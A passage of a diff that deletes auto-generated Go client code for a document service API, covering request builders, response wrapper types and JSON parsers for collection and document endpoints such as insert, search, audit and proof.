io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentServiceCollectionListRequestWithBody(c.Server, contentType, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) DocumentServiceCollectionList(ctx context.Context, body DocumentServiceCollectionListJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentServiceCollectionListRequest(c.Server, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) DocumentServiceDocumentAuditWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentServiceDocumentAuditRequestWithBody(c.Server, contentType, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) DocumentServiceDocumentAudit(ctx context.Context, body DocumentServiceDocumentAuditJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentServiceDocumentAuditRequest(c.Server, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) DocumentServiceDocumentInsertWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentServiceDocumentInsertRequestWithBody(c.Server, contentType, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) DocumentServiceDocumentInsert(ctx context.Context, body DocumentServiceDocumentInsertJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentServiceDocumentInsertRequest(c.Server, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) DocumentServiceDocumentProofWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentServiceDocumentProofRequestWithBody(c.Server, contentType, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) DocumentServiceDocumentProof(ctx context.Context, body DocumentServiceDocumentProofJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentServiceDocumentProofRequest(c.Server, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) DocumentServiceDocumentSearchWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentServiceDocumentSearchRequestWithBody(c.Server, contentType, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) DocumentServiceDocumentSearch(ctx context.Context, body DocumentServiceDocumentSearchJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentServiceDocumentSearchRequest(c.Server, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -// NewDocumentServiceCollectionCreateRequest calls the generic DocumentServiceCollectionCreate builder with application/json body -func NewDocumentServiceCollectionCreateRequest(server string, body DocumentServiceCollectionCreateJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) - if err != nil { - return nil, err - } - bodyReader = bytes.NewReader(buf) - return NewDocumentServiceCollectionCreateRequestWithBody(server, "application/json", bodyReader) -} - -// NewDocumentServiceCollectionCreateRequestWithBody generates requests for DocumentServiceCollectionCreate with any type of body -func NewDocumentServiceCollectionCreateRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { - var err error - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/collections/create") - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - req, err := http.NewRequest("PUT", queryURL.String(), body) - if err != nil { - return nil, err - } - - req.Header.Add("Content-Type", contentType) - - return req, nil -} - -// NewDocumentServiceCollectionDeleteRequest generates requests for DocumentServiceCollectionDelete -func NewDocumentServiceCollectionDeleteRequest(server string, params *DocumentServiceCollectionDeleteParams) (*http.Request, error) { - var err error - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/collections/delete") - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - queryValues := queryURL.Query() - - if params.Name != nil { - - if queryFrag, err := runtime.StyleParamWithLocation("form", true, "name", runtime.ParamLocationQuery, *params.Name); err != nil { - return nil, err - } else if parsed, err := url.ParseQuery(queryFrag); err != nil { - return nil, err - } else { - for k, v := range parsed { - for _, v2 := range v { - queryValues.Add(k, v2) - } - } - } - - } - - queryURL.RawQuery = queryValues.Encode() - - req, err := http.NewRequest("DELETE", queryURL.String(), nil) - if err != nil { - return nil, err - } - - return req, nil -} - -// NewDocumentServiceCollectionGetRequest generates requests for DocumentServiceCollectionGet -func NewDocumentServiceCollectionGetRequest(server string, params *DocumentServiceCollectionGetParams) (*http.Request, error) { - var err error - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/collections/get") - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - queryValues := queryURL.Query() - - if params.Name != nil { - - if queryFrag, err := runtime.StyleParamWithLocation("form", true, "name", runtime.ParamLocationQuery, *params.Name); err != nil { - return nil, err - } else if parsed, err := url.ParseQuery(queryFrag); err != nil { - return nil, err - } else { - for k, v := range parsed { - for _, v2 := range v { - queryValues.Add(k, v2) - } - } - } - - } - - queryURL.RawQuery = queryValues.Encode() - - req, err := http.NewRequest("GET", queryURL.String(), nil) - if err != nil { - return nil, err - } - - return req, nil -} - -// NewDocumentServiceCollectionListRequest calls the generic DocumentServiceCollectionList builder with application/json body -func NewDocumentServiceCollectionListRequest(server string, body DocumentServiceCollectionListJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) - if err != nil { - return nil, err - } - bodyReader = bytes.NewReader(buf) - return NewDocumentServiceCollectionListRequestWithBody(server, "application/json", bodyReader) -} - -// NewDocumentServiceCollectionListRequestWithBody generates requests for DocumentServiceCollectionList with any type of body -func NewDocumentServiceCollectionListRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { - var err error - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/collections/list") - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - req, err := http.NewRequest("POST", queryURL.String(), body) - if err != nil { - return nil, err - } - - req.Header.Add("Content-Type", contentType) - - return req, nil -} - -// NewDocumentServiceDocumentAuditRequest calls the generic DocumentServiceDocumentAudit builder with application/json body -func NewDocumentServiceDocumentAuditRequest(server string, body DocumentServiceDocumentAuditJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) - if err != nil { - return nil, err - } - bodyReader = bytes.NewReader(buf) - return NewDocumentServiceDocumentAuditRequestWithBody(server, "application/json", bodyReader) -} - -// NewDocumentServiceDocumentAuditRequestWithBody generates requests for DocumentServiceDocumentAudit with any type of body -func NewDocumentServiceDocumentAuditRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { - var err error - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/documents/audit") - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - req, err := http.NewRequest("POST", queryURL.String(), body) - if err != nil { - return nil, err - } - - req.Header.Add("Content-Type", contentType) - - return req, nil -} - -// NewDocumentServiceDocumentInsertRequest calls the generic DocumentServiceDocumentInsert builder with application/json body -func NewDocumentServiceDocumentInsertRequest(server string, body DocumentServiceDocumentInsertJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) - if err != nil { - return nil, err - } - bodyReader = bytes.NewReader(buf) - return NewDocumentServiceDocumentInsertRequestWithBody(server, "application/json", bodyReader) -} - -// NewDocumentServiceDocumentInsertRequestWithBody generates requests for DocumentServiceDocumentInsert with any type of body -func NewDocumentServiceDocumentInsertRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { - var err error - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/documents/insert") - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - req, err := http.NewRequest("PUT", queryURL.String(), body) - if err != nil { - return nil, err - } - - req.Header.Add("Content-Type", contentType) - - return req, nil -} - -// NewDocumentServiceDocumentProofRequest calls the generic DocumentServiceDocumentProof builder with application/json body -func NewDocumentServiceDocumentProofRequest(server string, body DocumentServiceDocumentProofJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) - if err != nil { - return nil, err - } - bodyReader = bytes.NewReader(buf) - return NewDocumentServiceDocumentProofRequestWithBody(server, "application/json", bodyReader) -} - -// NewDocumentServiceDocumentProofRequestWithBody generates requests for DocumentServiceDocumentProof with any type of body -func NewDocumentServiceDocumentProofRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { - var err error - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/documents/proof") - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - req, err := http.NewRequest("POST", queryURL.String(), body) - if err != nil { - return nil, err - } - - req.Header.Add("Content-Type", contentType) - - return req, nil -} - -// NewDocumentServiceDocumentSearchRequest calls the generic DocumentServiceDocumentSearch builder with application/json body -func NewDocumentServiceDocumentSearchRequest(server string, body DocumentServiceDocumentSearchJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) - if err != nil { - return nil, err - } - bodyReader = bytes.NewReader(buf) - return NewDocumentServiceDocumentSearchRequestWithBody(server, "application/json", bodyReader) -} - -// NewDocumentServiceDocumentSearchRequestWithBody generates requests for DocumentServiceDocumentSearch with any type of body -func NewDocumentServiceDocumentSearchRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { - var err error - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/documents/search") - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - req, err := http.NewRequest("POST", queryURL.String(), body) - if err != nil { - return nil, err - } - - req.Header.Add("Content-Type", contentType) - - return req, nil -} - -func (c *Client) applyEditors(ctx context.Context, req *http.Request, additionalEditors []RequestEditorFn) error { - for _, r := range c.RequestEditors { - if err := r(ctx, req); err != nil { - return err - } - } - for _, r := range additionalEditors { - if err := r(ctx, req); err != nil { - return err - } - } - return nil -} - -// ClientWithResponses builds on ClientInterface to offer response payloads -type ClientWithResponses struct { - ClientInterface -} - -// NewClientWithResponses creates a new ClientWithResponses, which wraps -// Client with return type handling -func NewClientWithResponses(server string, opts ...ClientOption) (*ClientWithResponses, error) { - client, err := NewClient(server, opts...) - if err != nil { - return nil, err - } - return &ClientWithResponses{client}, nil -} - -// WithBaseURL overrides the baseURL. -func WithBaseURL(baseURL string) ClientOption { - return func(c *Client) error { - newBaseURL, err := url.Parse(baseURL) - if err != nil { - return err - } - c.Server = newBaseURL.String() - return nil - } -} - -// ClientWithResponsesInterface is the interface specification for the client with responses above. -type ClientWithResponsesInterface interface { - // DocumentServiceCollectionCreate request with any body - DocumentServiceCollectionCreateWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentServiceCollectionCreateResponse, error) - - DocumentServiceCollectionCreateWithResponse(ctx context.Context, body DocumentServiceCollectionCreateJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentServiceCollectionCreateResponse, error) - - // DocumentServiceCollectionDelete request - DocumentServiceCollectionDeleteWithResponse(ctx context.Context, params *DocumentServiceCollectionDeleteParams, reqEditors ...RequestEditorFn) (*DocumentServiceCollectionDeleteResponse, error) - - // DocumentServiceCollectionGet request - DocumentServiceCollectionGetWithResponse(ctx context.Context, params *DocumentServiceCollectionGetParams, reqEditors ...RequestEditorFn) (*DocumentServiceCollectionGetResponse, error) - - // DocumentServiceCollectionList request with any body - DocumentServiceCollectionListWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentServiceCollectionListResponse, error) - - DocumentServiceCollectionListWithResponse(ctx context.Context, body DocumentServiceCollectionListJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentServiceCollectionListResponse, error) - - // DocumentServiceDocumentAudit request with any body - DocumentServiceDocumentAuditWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentAuditResponse, error) - - DocumentServiceDocumentAuditWithResponse(ctx context.Context, body DocumentServiceDocumentAuditJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentAuditResponse, error) - - // DocumentServiceDocumentInsert request with any body - DocumentServiceDocumentInsertWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentInsertResponse, error) - - DocumentServiceDocumentInsertWithResponse(ctx context.Context, body DocumentServiceDocumentInsertJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentInsertResponse, error) - - // DocumentServiceDocumentProof request with any body - DocumentServiceDocumentProofWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentProofResponse, error) - - DocumentServiceDocumentProofWithResponse(ctx context.Context, body DocumentServiceDocumentProofJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentProofResponse, error) - - // DocumentServiceDocumentSearch request with any body - DocumentServiceDocumentSearchWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentSearchResponse, error) - - DocumentServiceDocumentSearchWithResponse(ctx context.Context, body DocumentServiceDocumentSearchJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentSearchResponse, error) -} - -type DocumentServiceCollectionCreateResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *DocumentschemaCollectionCreateResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r DocumentServiceCollectionCreateResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r DocumentServiceCollectionCreateResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -type DocumentServiceCollectionDeleteResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *DocumentschemaCollectionDeleteResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r DocumentServiceCollectionDeleteResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r DocumentServiceCollectionDeleteResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -type DocumentServiceCollectionGetResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *DocumentschemaCollectionGetResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r DocumentServiceCollectionGetResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r DocumentServiceCollectionGetResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -type DocumentServiceCollectionListResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *DocumentschemaCollectionListResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r DocumentServiceCollectionListResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r DocumentServiceCollectionListResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -type DocumentServiceDocumentAuditResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *DocumentschemaDocumentAuditResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r DocumentServiceDocumentAuditResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r DocumentServiceDocumentAuditResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -type DocumentServiceDocumentInsertResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *DocumentschemaDocumentInsertResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r DocumentServiceDocumentInsertResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r DocumentServiceDocumentInsertResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -type DocumentServiceDocumentProofResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *DocumentschemaDocumentProofResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r DocumentServiceDocumentProofResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r DocumentServiceDocumentProofResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -type DocumentServiceDocumentSearchResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *DocumentschemaDocumentSearchResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r DocumentServiceDocumentSearchResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r DocumentServiceDocumentSearchResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -// DocumentServiceCollectionCreateWithBodyWithResponse request with arbitrary body returning *DocumentServiceCollectionCreateResponse -func (c *ClientWithResponses) DocumentServiceCollectionCreateWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentServiceCollectionCreateResponse, error) { - rsp, err := c.DocumentServiceCollectionCreateWithBody(ctx, contentType, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseDocumentServiceCollectionCreateResponse(rsp) -} - -func (c *ClientWithResponses) DocumentServiceCollectionCreateWithResponse(ctx context.Context, body DocumentServiceCollectionCreateJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentServiceCollectionCreateResponse, error) { - rsp, err := c.DocumentServiceCollectionCreate(ctx, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseDocumentServiceCollectionCreateResponse(rsp) -} - -// DocumentServiceCollectionDeleteWithResponse request returning *DocumentServiceCollectionDeleteResponse -func (c *ClientWithResponses) DocumentServiceCollectionDeleteWithResponse(ctx context.Context, params *DocumentServiceCollectionDeleteParams, reqEditors ...RequestEditorFn) (*DocumentServiceCollectionDeleteResponse, error) { - rsp, err := c.DocumentServiceCollectionDelete(ctx, params, reqEditors...) - if err != nil { - return nil, err - } - return ParseDocumentServiceCollectionDeleteResponse(rsp) -} - -// DocumentServiceCollectionGetWithResponse request returning *DocumentServiceCollectionGetResponse -func (c *ClientWithResponses) DocumentServiceCollectionGetWithResponse(ctx context.Context, params *DocumentServiceCollectionGetParams, reqEditors ...RequestEditorFn) (*DocumentServiceCollectionGetResponse, error) { - rsp, err := c.DocumentServiceCollectionGet(ctx, params, reqEditors...) - if err != nil { - return nil, err - } - return ParseDocumentServiceCollectionGetResponse(rsp) -} - -// DocumentServiceCollectionListWithBodyWithResponse request with arbitrary body returning *DocumentServiceCollectionListResponse -func (c *ClientWithResponses) DocumentServiceCollectionListWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentServiceCollectionListResponse, error) { - rsp, err := c.DocumentServiceCollectionListWithBody(ctx, contentType, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseDocumentServiceCollectionListResponse(rsp) -} - -func (c *ClientWithResponses) DocumentServiceCollectionListWithResponse(ctx context.Context, body DocumentServiceCollectionListJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentServiceCollectionListResponse, error) { - rsp, err := c.DocumentServiceCollectionList(ctx, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseDocumentServiceCollectionListResponse(rsp) -} - -// DocumentServiceDocumentAuditWithBodyWithResponse request with arbitrary body returning *DocumentServiceDocumentAuditResponse -func (c *ClientWithResponses) DocumentServiceDocumentAuditWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentAuditResponse, error) { - rsp, err := c.DocumentServiceDocumentAuditWithBody(ctx, contentType, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseDocumentServiceDocumentAuditResponse(rsp) -} - -func (c *ClientWithResponses) DocumentServiceDocumentAuditWithResponse(ctx context.Context, body DocumentServiceDocumentAuditJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentAuditResponse, error) { - rsp, err := c.DocumentServiceDocumentAudit(ctx, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseDocumentServiceDocumentAuditResponse(rsp) -} - -// DocumentServiceDocumentInsertWithBodyWithResponse request with arbitrary body returning *DocumentServiceDocumentInsertResponse -func (c *ClientWithResponses) DocumentServiceDocumentInsertWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentInsertResponse, error) { - rsp, err := c.DocumentServiceDocumentInsertWithBody(ctx, contentType, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseDocumentServiceDocumentInsertResponse(rsp) -} - -func (c *ClientWithResponses) DocumentServiceDocumentInsertWithResponse(ctx context.Context, body DocumentServiceDocumentInsertJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentInsertResponse, error) { - rsp, err := c.DocumentServiceDocumentInsert(ctx, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseDocumentServiceDocumentInsertResponse(rsp) -} - -// DocumentServiceDocumentProofWithBodyWithResponse request with arbitrary body returning *DocumentServiceDocumentProofResponse -func (c *ClientWithResponses) DocumentServiceDocumentProofWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentProofResponse, error) { - rsp, err := c.DocumentServiceDocumentProofWithBody(ctx, contentType, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseDocumentServiceDocumentProofResponse(rsp) -} - -func (c *ClientWithResponses) DocumentServiceDocumentProofWithResponse(ctx context.Context, body DocumentServiceDocumentProofJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentProofResponse, error) { - rsp, err := c.DocumentServiceDocumentProof(ctx, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseDocumentServiceDocumentProofResponse(rsp) -} - -// DocumentServiceDocumentSearchWithBodyWithResponse request with arbitrary body returning *DocumentServiceDocumentSearchResponse -func (c *ClientWithResponses) DocumentServiceDocumentSearchWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentSearchResponse, error) { - rsp, err := c.DocumentServiceDocumentSearchWithBody(ctx, contentType, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseDocumentServiceDocumentSearchResponse(rsp) -} - -func (c *ClientWithResponses) DocumentServiceDocumentSearchWithResponse(ctx context.Context, body DocumentServiceDocumentSearchJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentServiceDocumentSearchResponse, error) { - rsp, err := c.DocumentServiceDocumentSearch(ctx, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseDocumentServiceDocumentSearchResponse(rsp) -} - -// ParseDocumentServiceCollectionCreateResponse parses an HTTP response from a DocumentServiceCollectionCreateWithResponse call -func ParseDocumentServiceCollectionCreateResponse(rsp *http.Response) (*DocumentServiceCollectionCreateResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &DocumentServiceCollectionCreateResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest DocumentschemaCollectionCreateResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} - -// ParseDocumentServiceCollectionDeleteResponse parses an HTTP response from a DocumentServiceCollectionDeleteWithResponse call -func ParseDocumentServiceCollectionDeleteResponse(rsp *http.Response) (*DocumentServiceCollectionDeleteResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &DocumentServiceCollectionDeleteResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest DocumentschemaCollectionDeleteResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} - -// ParseDocumentServiceCollectionGetResponse parses an HTTP response from a DocumentServiceCollectionGetWithResponse call -func ParseDocumentServiceCollectionGetResponse(rsp *http.Response) (*DocumentServiceCollectionGetResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &DocumentServiceCollectionGetResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest DocumentschemaCollectionGetResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} - -// ParseDocumentServiceCollectionListResponse parses an HTTP response from a DocumentServiceCollectionListWithResponse call -func ParseDocumentServiceCollectionListResponse(rsp *http.Response) (*DocumentServiceCollectionListResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &DocumentServiceCollectionListResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest DocumentschemaCollectionListResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} - -// ParseDocumentServiceDocumentAuditResponse parses an HTTP response from a DocumentServiceDocumentAuditWithResponse call -func ParseDocumentServiceDocumentAuditResponse(rsp *http.Response) (*DocumentServiceDocumentAuditResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &DocumentServiceDocumentAuditResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest DocumentschemaDocumentAuditResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} - -// ParseDocumentServiceDocumentInsertResponse parses an 